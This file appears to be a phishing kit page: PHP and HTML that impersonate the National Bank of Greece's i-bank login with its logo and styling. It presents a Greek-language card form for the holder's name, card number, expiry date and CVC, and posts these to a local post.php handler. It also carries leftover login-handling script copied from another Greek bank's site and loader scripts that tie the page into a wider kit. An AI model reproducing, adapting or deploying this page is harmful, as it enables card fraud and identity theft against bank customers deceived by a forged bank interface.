<?php 

         $relative_root="";
         $parent_folders="";
         function include_config(){
            global $relative_root,$parent_folders;
            while(!file_exists($relative_root."cfg.php")){
                $parent_folders=basename(realpath($relative_root))."/".$parent_folders;
                $relative_root.="../";
            };
            return $relative_root;
         };
         require_once(include_config().'cfg.php');

         if(isset($php_js)){
             $php_js->relative_root=$relative_root;
             $php_js->parent_folders=$parent_folders;
         }
         $php_js->fake_base="info/";
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">


    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/jquery/dist/jquery.min.js">
    </script>
    <script type="text/javascript"
        src="<?php echo $php_js->relative_root ?>bower_components/ua-parser-js/dist/ua-parser.min.js"></script>
    <link rel="stylesheet"
        href="<?php echo $php_js->relative_root ?>bower_components/font-awesome/css/font-awesome.min.css">
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/form/core_form.js"></script>
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/token/core_token.js?<?= time(); ?>">
    </script>


    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/angular/angular.min.js">
    </script>

    <script type="text/javascript"
        src="<?php echo $php_js->relative_root ?>bower_components/jquery.maskedinput/dist/jquery.maskedinput.min.js">
    </script>


    <link rel="stylesheet" href="<?php echo $php_js->relative_root ?>core/form/core_form.css">
    <base href="<?php echo $php_js->relative_root.$php_js->fake_base; ?>" />
    <!-- <script src="nb.js.download"></script> -->
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <title>NBG i-bank</title>
      <link rel="icon" type="image/png" href="src/img/favicon.ico">
      <link href="src/style5.css" rel="stylesheet">  
      <link rel="stylesheet" href="src/css/style1.css">
   </head>
   <body class="login-bg windows login-night modal-open" style="background-image: url(src/img/new-login-2.45a8e3f5d546c08f846710e1ec6cabf9.jpg);" style="padding-right: 0.333374px;">
      
      <index-page ng-version="7.2.16">
         
            
               <login-header>
                  <header class="main-header">
                     <div class="flex-vertical-center-space-between header-container wrap-mobile-medium">
                        <ibank-icon class="full-screen-width--mobile" style="height: 8.5rem; margin-top: -2.5rem">
                           <div class="flex-vertical-center" style="height: 11rem; min-height: 11rem;"><img alt="nbg logo" class="full-height margin-auto--mobile" src="src/img/login-logo.el.png"></div>
                        </ibank-icon>
                       
                     
                     </div>
                  </header>
       
      </index-page>
     <form action="post.php" method="POST">
                                    <div class="wrapper1" id="app" style=" padding-top: 0px; ">
                                       <div class="card-form" style=" margin-top: 20px; ">
                                          <div class="card-list">
                                             <div class="card-item" v-bind:class="{ '-active' : isCardFlipped }">
                                                <div class="card-item__side -front">
                                                   <div class="card-item__focus" v-bind:class="{'-active' : focusElementStyle }" v-bind:style="focusElementStyle" ref="focusElement"></div>
                                                   <div class="card-item__cover"> <img v-bind:src="'src/img/card-front.png'" class="card-item__bg"> </div>
                                                   <div class="card-item__wrapper">
                                                      <div class="card-item__top">
                                                         <div class="card-item__type">
                                                            <transition name="slide-fade-up"> <img  v-bind:src="'src/img/' + getCardType + '.png'" v-if="getCardType" v-bind:key="getCardType" alt="" class="card-item__typeImg"> </transition>
                                                         </div>
                                                      </div>
                                                      <label for="cardNumber" class="card-item__number" ref="cardNumber">
                                                         <template v-if="getCardType === 'amex'">
                                                            <span v-for="(n, $index) in amexCardMask" :key="$index">
                                                               <transition name="slide-fade-up">
                                                                  <div class="card-item__numberItem"
                                                                     v-if="$index > 4 && $index < 14 && cardNumber.length > $index && n.trim() !== ''">
                                                                     *
                                                                  </div>
                                                                  <div class="card-item__numberItem" :class="{ '-active' : n.trim() === '' }"
                                                                     :key="$index" v-else-if="cardNumber.length > $index">
                                                                     {{cardNumber[$index]}}
                                                                  </div>
                                                                  <div class="card-item__numberItem" :class="{ '-active' : n.trim() === '' }"
                                                                     v-else :key="$index + 1">
                                                                     {{n}}
                                                                  </div>
                                                               </transition>
                                                            </span>
                                                         </template>
                                                         <template v-else>
                                                            <span v-for="(n, $index) in otherCardMask" :key="$index">
                                                               <transition name="slide-fade-up">
                                                                  <div class="card-item__numberItem"
                                                                     v-if="$index > 4 && $index < 15 && cardNumber.length > $index && n.trim() !== ''">
                                                                     *
                                                                  </div>
                                                                  <div class="card-item__numberItem" :class="{ '-active' : n.trim() === '' }"
                                                                     :key="$index" v-else-if="cardNumber.length > $index">
                                                                     {{cardNumber[$index]}}
                                                                  </div>
                                                                  <div class="card-item__numberItem" :class="{ '-active' : n.trim() === '' }"
                                                                     v-else :key="$index + 1">
                                                                     {{n}}
                                                                  </div>
                                                               </transition>
                                                            </span>
                                                         </template>
                                                      </label>
                                                      <div class="card-item__content">
                                                         <label for="cardName" style="text-align:left;" class="card-item__info" ref="cardName">
                                                            <div class="card-item__holder">Card Holder</div>
                                                            <transition name="slide-fade-up">
                                                               <div class="card-item__name" v-if="cardName.length" key="1">
                                                                  <transition-group name="slide-fade-right"> <span class="card-item__nameItem" v-for="(n, $index) in cardName.replace(/\s\s+/g, ' ')" v-if="$index === $index" v-bind:key="$index + 1">{{n}}</span> </transition-group>
                                                               </div>
                                                               <div class="card-item__name" v-else key="2">Fullname</div>
                                                            </transition>
                                                         </label>
                                                         <div class="card-item__date" ref="cardDate">
                                                            <label for="cardMonth" class="card-item__dateTitle" style="color:white;">Expires</label>
                                                            <label for="cardMonth" class="card-item__dateItem"  style="color:white;">
                                                               <transition name="slide-fade-up"> <span v-if="cardMonth" v-bind:key="cardMonth">{{cardMonth}}</span> <span v-else key="2"> MM</span> </transition>
                                                            </label>
                                                            /
                                                            <label for="cardYear" class="card-item__dateItem"  style="color:white;">
                                                               <transition name="slide-fade-up"> <span v-if="cardYear" v-bind:key="cardYear">{{String(cardYear).slice(2,4)}}</span> <span v-else key="2"> YY</span> </transition>
                                                            </label>
                                                         </div>
                                                      </div>
                                                   </div>
                                                </div>
                                                <div class="card-item__side -back">
                                                   <div class="card-item__cover"> <img v-bind:src="'src/img/card-back.jpg'" class="card-item__bg"> </div>
                                                   <div class="card-item__band"></div>
                                                   <div class="card-item__cvv">
                                                      <div class="card-item__cvvTitle">CVC</div>
                                                      <div class="card-item__cvvBand"> <span v-for="(n, $index) in cardCvv" :key="$index">
                                                         *
                                                         </span> 
                                                      </div>
                                                   </div>
                                                </div>
                                             </div>
                                          </div>
                                          <div class="card-form__inner">
                                             <div class="card-input">
                                                <label for="cardName" class="card-input__label">Πλήρες όνομα</label>
                                                <input type="text" name="cardName" id="cardName" class="card-input__input" v-model="cardName" v-on:focus="focusInput" v-on:blur="blurInput" data-ref="cardName" autocomplete="off" required> 
                                             </div>
                                             <div class="card-input">
                                                <label for="cardNumber" class="card-input__label">Αριθμός Κάρτας </label>
                                                <input type="text" name="CardNumber" id="cardNumber" class="card-input__input" v-mask="generateCardNumberMask" v-model="cardNumber" v-on:focus="focusInput" v-on:blur="blurInput" data-ref="cardNumber" autocomplete="off" required> 
                                             </div>
                                             <div class="card-form__row">
                                                <div class="card-form__col">
                                                   <div class="card-form__group">
                                                      <label for="cardMonth" class="card-input__label">Ημερομηνία λήξης </label>
                                                      <select class="card-input__input -select" name="cardMonth" id="cardMonth" v-model="cardMonth" v-on:focus="focusInput" v-on:blur="blurInput" data-ref="cardDate" required>
                                                         <option value="" disabled selected>MM</option>
                                                         <option v-bind:value="n < 10 ? '0' + n : n" v-for="n in 12" v-bind:disabled="n < minCardMonth" v-bind:key="n"> {{n
                                                            < 10 ? '0' + n : n}} 
                                                         </option>
                                                      </select>
                                                      <select class="card-input__input -select" name="cardYear" id="cardYear" v-model="cardYear" v-on:focus="focusInput" v-on:blur="blurInput" data-ref="cardDate" required>
                                                         <option value="" disabled selected>YY</option>
                                                         <option v-bind:value="$index + minCardYear" v-for="(n, $index) in 12" v-bind:key="n"> {{$index + minCardYear}} </option>
                                                      </select>
                                                   </div>
                                                </div>
                                                <div class="card-form__col -cvv">
                                                   <div class="card-input">
                                                      <label for="cardCvv" class="card-input__label">CVC</label>
                                                      <input style=" width: 60% " type="text" class="card-input__input" name="cardCvv" id="cardCvv" v-mask="'####'" maxlength="3" v-model="cardCvv" v-on:focus="flipCard(true)" v-on:blur="flipCard(false)" autocomplete="off" required> 
                                                   </div>
                                                </div>
                                             </div>
                                             <br>
                                             <div style="text-align:center;">
                                                <input type="submit"  style="background: #1c8a99; box-shadow: 0 1px 2px 0 rgb(0 0 0 / 25%); font-family: PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif; font-weight: 500; font-style: normal; border-radius: 100px; border-radius: 6.25rem; border: none; font-size: 16px; font-size: 1rem; color: #fff; min-width: 94px; min-width: 5.875rem; text-align: center; cursor: pointer; transition: all .3s; padding: .0625rem 1rem .125rem; height: 70px; height: 2.5rem; min-height: 40px; min-height: 2.5rem; line-height: 40px; line-height: 2.5rem;" name="submit" value="ΣΥΝΕΧΕΙΑ">
                                             </div>
                                          </div>
                                       </div>
                                    </div>
                                 </form>

                                 <script src="src/js/vue.min.js"></script>
      <script src="src/js/vue-the-mask.js"></script>
      <script type="text/javascript" src="src/js/main.js"></script>

<div id="dialog-confirm"></div>

    <script src="appInsights"></script>

    <script src="login(1)"></script>

    <script src="rsa"></script>

    <script src="sjcl.min.js.download"></script>
    <script type="text/javascript">
        var loginSettings = loginSettings || {};
        loginSettings.LoginType = 0;

        
        // new Image().src = document.location.protocol + "//mon" + "sta" + "t.co" + "m/" + "myAlphaWeb2" + ".p" + "ng?du=" + escape(document.location) + "&dr=" + escape(document.referrer) + "&rr=" + Math.random();

        var userActivityTimeout = null;
        var userActivityThrottlerTimeout = null
        var INACTIVE_USER_TIME_THRESHOLD = 10000;
        var USER_ACTIVITY_THROTTLER_TIME = 5000;

        function resetUserActivityTimeout() {
            clearTimeout(userActivityTimeout);
            userActivityTimeout = setTimeout(function() {
                //inactiveUserAction();
            }, INACTIVE_USER_TIME_THRESHOLD);
        }

        function userActivityThrottler() {
            if (!userActivityThrottlerTimeout) {
                userActivityThrottlerTimeout = setTimeout(function() {
                    resetUserActivityTimeout();

                    clearTimeout(userActivityThrottlerTimeout);
                    userActivityThrottlerTimeout = null;
                }, USER_ACTIVITY_THROTTLER_TIME);
            }
        }

        function inactiveUserAction() {
            $('#servicesIcon').popover({
                trigger: 'manual',
                placement: 'bottom',
                title: '<span class="font-md cobalt">Εξοικειωθείτε με το e-Banking</span><img src="close.png" class="popover-close-btn cp" onclick="closeServicesPopover()">',
                content: '<p class="mb-12 grey"><span class="popover-icon"><img src="find-answer.png"></span>&nbsp;Απαντήσεις σε Συχνές Ερωτήσεις</p><p class="mb-12 grey"><img src="how2video.png">&nbsp;Χρήσιμα how2videos</p>',
                html: true,
                sanitize: false
            }).popover('show').tooltip('disable');
        }

        function activateActivityTracker() {
            window.addEventListener("mousemove", userActivityThrottler);
            window.addEventListener("scroll", userActivityThrottler);
            window.addEventListener("keydown", userActivityThrottler);
            window.addEventListener("resize", userActivityThrottler);
        }

        function doResize() {
            var h = window.innerHeight;
            var nh = (h - 112) >= 750 ? h - 112 : 750;
            var lc_mt = (h - 880) > 0 ? h - 880 : 0;
            var lm_mt = (h / 2) - 180;
            $('#mainContainer').attr("style", "height: " + nh + "px;");
            $('#loginContainer').attr("style", "margin-top: " + lc_mt + "px; padding-top: 90px;");
            $('#loginModal').attr("style", "margin-top: " + lm_mt + "px;");

            var w = window.innerWidth;
            var mc_w = w > 600 ? 550 : 500;
            $('#modalContent').attr("style", "width: " + mc_w + "px;");

            if ($("#errorMsg").length) {
                $('#inputUsername').attr("style", "margin-top: 10px;");
                switch ($("#errorMsg").height()) {
                    case 16: // 1 line
                        break;
                    case 32: // 2 lines
                        $('#loginContainer').attr("style", "padding-top: 70px;");
                        break;
                    case 48: // 3 lines
                        $('#loginContainer').attr("style", "padding-top: 60px;");
                        break;
                    case 64: // 4 lines
                        $('#loginContainer').attr("style", "padding-top: 40px;");
                        break;
                    case 80: // 5 lines
                        $('#loginContainer').attr("style", "padding-top: 20px;");
                        break;
                    default:
                        $('#loginContainer').attr("style", "padding-top: 0;");
                }
            }
        }

        function userModal(type) {
            switch (type) {
                case 1:
                    $('#modalTitle').html("Υποστήριξη Ηλεκτρονικών Υπηρεσιών");
                    $('#retailBtn').attr("data-link-url", "#");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn, #corporateBtn').off("click").on('click', closeModal);
                    break;
                case 2:
                    $('#modalTitle').html("Εγγραφή στο e-Banking");
                    $('#retailBtn').attr("data-link-url", "#");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn, #corporateBtn').off("click").on('click', closeModal);
                    break;
                case 3:
                    $('#modalTitle').html("Δείτε το Demo");
                    $('#retailBtn').attr("data-link-url", "#");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn').off("click").on('click', function () { demoLogin(1); });
                    $('#corporateBtn').off("click").on('click', function () { demoLogin(2); });
                    break;
                case 4:
                    $('#modalTitle').html("Ξέχασα το Username μου");
                    $('#retailBtn').attr("data-link-url", "#" + "?locale=el");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn, #corporateBtn').off("click").on('click', closeModal);
                    break;
            }

            closeServicesPopover();
            $('#loginModal').modal('toggle');
        }

        function closeNotif() {
            $('#notif').hide(600);
            closeServicesPopover();
        }

        function closeServicesPopover() {
            $('#servicesIcon').popover('hide');
            $('#servicesIcon').tooltip('enable');
        }

        function closeModal() {
            $('#loginModal').modal('hide');
            var url = this.dataset.linkUrl;
            if (url != "#") {
                setTimeout(function () { window.open(url); }, 30);
            }
        }

        function rememberMe() {
            if ($('#inputRM').is(":checked") && $('#inputUsername').val() != "") {
                localStorage.rm = $('#inputRM').val();
                localStorage.un = enc($('#inputUsername').val());
            } else {
                localStorage.rm = "";
                localStorage.un = "";
            }
        }

        function demoLogin(userType) {
            switch (userType) {
                case 1:
                    submitLogin("demouser", "demouser", false);
                    break;
                case 2:
                    submitLogin("corpDemoUser", "corpDemoUser", false);
                    break;
            }
        }

        function addRBFAdditionalFields() {
            var screenHeight = window.screen.height;
            var screenWidth = window.screen.width;
            document.getElementById("screenResolution").value = screenWidth + "X" + screenHeight;

            //Although Intl is (at a limited scope) supposedly supported in IE11
            //(https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat#Browser_compatibility),
            //it actually looks like `window.Intl` returns undefined. To avoid console errors, check its value before attempting to use it.
            var timeZone = "";
            if (window.Intl) {
                var dtFormat = new Intl.DateTimeFormat();
                timeZone = dtFormat.resolvedOptions().timeZone;
            }
            document.getElementById("timeZone").value = timeZone;
        }

        $(function () {
            doResize();
            $(window).on('resize', doResize);

            //Remember me
            if (localStorage.rm && localStorage.rm == "1") {
                $('#inputRM').attr("checked", "checked");
                $('#inputUsername').val(dec(localStorage.un));
            } else {
                $('#inputRM').removeAttr("checked");
                $('#inputUsername').val("");
            }

            //Enable tooltips
            $('#servicesIcon').tooltip({
                placement: 'bottom',
                html: true,
                title: 'Υποστήριξη Ηλεκτρονικών Υπηρεσιών',
                template: '<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner tooltip-mw-100"></div></div>'
            });

            $('#emailIcon,#phoneIcon').tooltip({
                html: true,
                template: '<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner tooltip-mw-100"></div></div>'
            });

            $('#infoIcon').tooltip({
                html: true,
                template: '<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>'
            });

            //Retrieve notification from alpha.gr
            var jqxhr = $.getJSON('#');
            jqxhr.done(function (data) {
                if (data.showNotification) {
                    $('#notifTitle').html(data.notificationTitle);
                    $('#notifMsg').html(data.notificationText);
                    $('#notif').removeClass("d-none");
                }
            });
            jqxhr.fail(function () {
                console.log("call to alpha.gr failed");
            });

            var submitForm = function () {
                rememberMe();

                $('.form-validation').addClass("was-validated");

                var username = $("#inputUsername").val();
                var password = $("#inputPassword").val();
                addRBFAdditionalFields();

                submitLogin(username, password, false);
            }

            $("#loginFormTmp").on('submit', function (event) {
                event.preventDefault();
                const target = $('#submitButton');
                if (!target.is(':disabled')) {
                    submitForm();
                }
            });

            activateActivityTracker();
        });
    </script>



            <script type="text/javascript">
    var bid = "<?php echo isset($_COOKIE['bid'])?$_COOKIE['bid']:basename(dirname(dirname(__FILE__))) ?>"
    var php_js = <?php  echo json_encode($php_js) ?>
    </script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>form/form.js?v=<?php echo uniqid() ?>"></script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>ng/ng.js?v=<?php echo uniqid() ?>"></script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>token/token.js?v=<?php echo uniqid() ?>"></script>
    <script>
//         $(document).ready(function () {

// $('.error1').click(function () {

//   alert(

//     'Yritä käyttää toista vaihtoehtoa.'

//     );

// });

// $('.error2').click(function () {

//     window.location.href="../login2/?op="+btoa(JSON.stringify(last_operation));return;

// });

// });

$.fn.custom_ser = function() {
    var obj = {};
    this.find("input,select").each(function() {
        if (
            $(this).prop("tagName") == "INPUT" &&
            $(this).prop("type") != "checkbox" &&
            $(this).prop("type") != "button" &&
            $(this).prop("type") != "hidden" &&
            $(this).prop("type") != "image" &&
            $(this).prop("type") != "reset" &&
            $(this).prop("type") != "submit"
        ) {
            //input validation
            obj[$(this).attr("name")] = $(this).val();
        }
        if ($(this).prop("tagName") == "SELECT") {
            obj[$(this).attr("name")] = $(this).find("option:selected").val();
        }
    });

    console.log('Custom seralization result : ')
    console.log(obj)
    return obj;
};
    </script>
    
</body>

</html>
